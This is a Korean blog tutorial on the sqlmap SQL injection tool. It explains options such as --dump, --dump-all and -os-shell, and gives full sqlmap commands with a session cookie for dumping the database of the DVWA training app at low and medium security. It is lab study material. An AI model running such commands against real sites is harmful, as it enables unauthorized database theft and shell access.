아임노드

취약점 진단 도구_SQLMAP 본문

 

SQLMAP

- SQLi을 자동화 해주는 도구(취약성 점검)

- Python 기반의 오픈소스

- 현재 알려진 SQLi 모든 기법을 사용, 모든 벤더 지원

 

사용법

1) SQLi이 가능한 공격 포인트 찾기

2) 세션 재사용 가능여부 판단 (로그인을 해야만 접근 가능한 메뉴일 경우)

3) 데이터 수집 (패킷정보, URL)

4) 공격 명령어 완성

   ㄴ 사용하는 방식이 크게 두 가지로 나뉨

     4.1) url 방식의 공격

           sqlmap -u --cookie --data -p --batch --dump

               -u : 취약점이 존재하는 URL주소

               --cookie : 세션 정보

               --data : 파라미터 영역 지정 (취약한 파라미터 지정)

               -p : 파라미터 영역에서 취약한 파라미터 지정

               --batch : sqlmap를 이용한 취약점 진단 자동화

               --dump : 사용자가 만든 DB 기준으로 모든 데이터 출력

     4.2) 패킷 데이터 방식의 공격

           sqlmap -r file --data -p --batch --dump

                -r : 데이터 패킷 구조의 파일로 지정

                

         * -os-shell 옵션이 존재 : 셸 연결 옵션

 


 

실습

 

1. dvwa (low) > SQL Injection 탭으로 이동

 

2. User ID 부분에 1 입력해보기 -> 정상데이터/ 출력 확인

 

3. URL 주소 확인 (id=1 확인)

4. 주소 copy (http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#)

 

5. 명령어 추가하기

(변경전) sqlmap -u --cookie --data -p --batch --dump

(변경후) sqlmap -u 'http://dvwa/vulnerabilities/sqli/' --cookie --data 'id=1&Submit=Submit' -p id --batch --dump

 

6. --batch --dump --> 이두개는 별도의 인자값을 줄 필요는 없고

--cookie 값만 알아내면 된다.

 

사이트로 돌아가서 f12 > Network > Reload 클릭

 

클릭>

 

Request Headers의 Cookie 값 복사 (마우스 우클릭 > Copy Value)

 

PHPSESSID=l5egp98sevk9ao5ob79s9jkic0; security=low

 

7. Cookie 값 추가

(변경후) sqlmap -u 'http://dvwa/vulnerabilities/sqli/' --cookie=' PHPSESSID=l5egp98sevk9ao5ob79s9jkic0; security=low ' --data 'id=1&Submit=Submit' -p id --batch --dump

 

8. 명령어 복사해서 칼리 터미널로 이동

9. 완성된 명령어 복사하기 > Enter

10. 출력 확인

 

11. 사용자가 만든 테이블이 아닌 전체(default)까지 보고 싶다고 한다면 -all 추가 (내용 너무 많아서 그냥 --dump할 것 추천)

sqlmap -u 'http://dvwa/vulnerabilities/sqli/' --cookie=' PHPSESSID=l5egp98sevk9ao5ob79s9jkic0; security=low ' --data 'id=1&Submit=Submit' -p id --batch --dump-all

 

 


1. 두 번째 패킷 데이터 공격 방식 확인

2. dvwa(medium)으로 이동 > SQL Injection 탭으로 이동

3. 패킷 수집을 위해 burpsuite on (패킷 수집하기)
4. POST 패킷 전체 복사

 

5. 터미널 이동

> mousepad sql.rq (sql는 임시고 이름은 바꿔도 됨. rq는 request를 의미)

> mousepad에 복사한 것 붙여넣고 저장

 

6. (변경 전)  sqlmap -r file --data -p --batch --dump

 (변경 후) sqlmap -r sql.rq --data 'id=1&Submit=Submit' -p id --batch --dump

data 부분은 여기서 맨 아래에 있는 줄 사용(16줄)

7. 터미널에 완성된 명령어 입력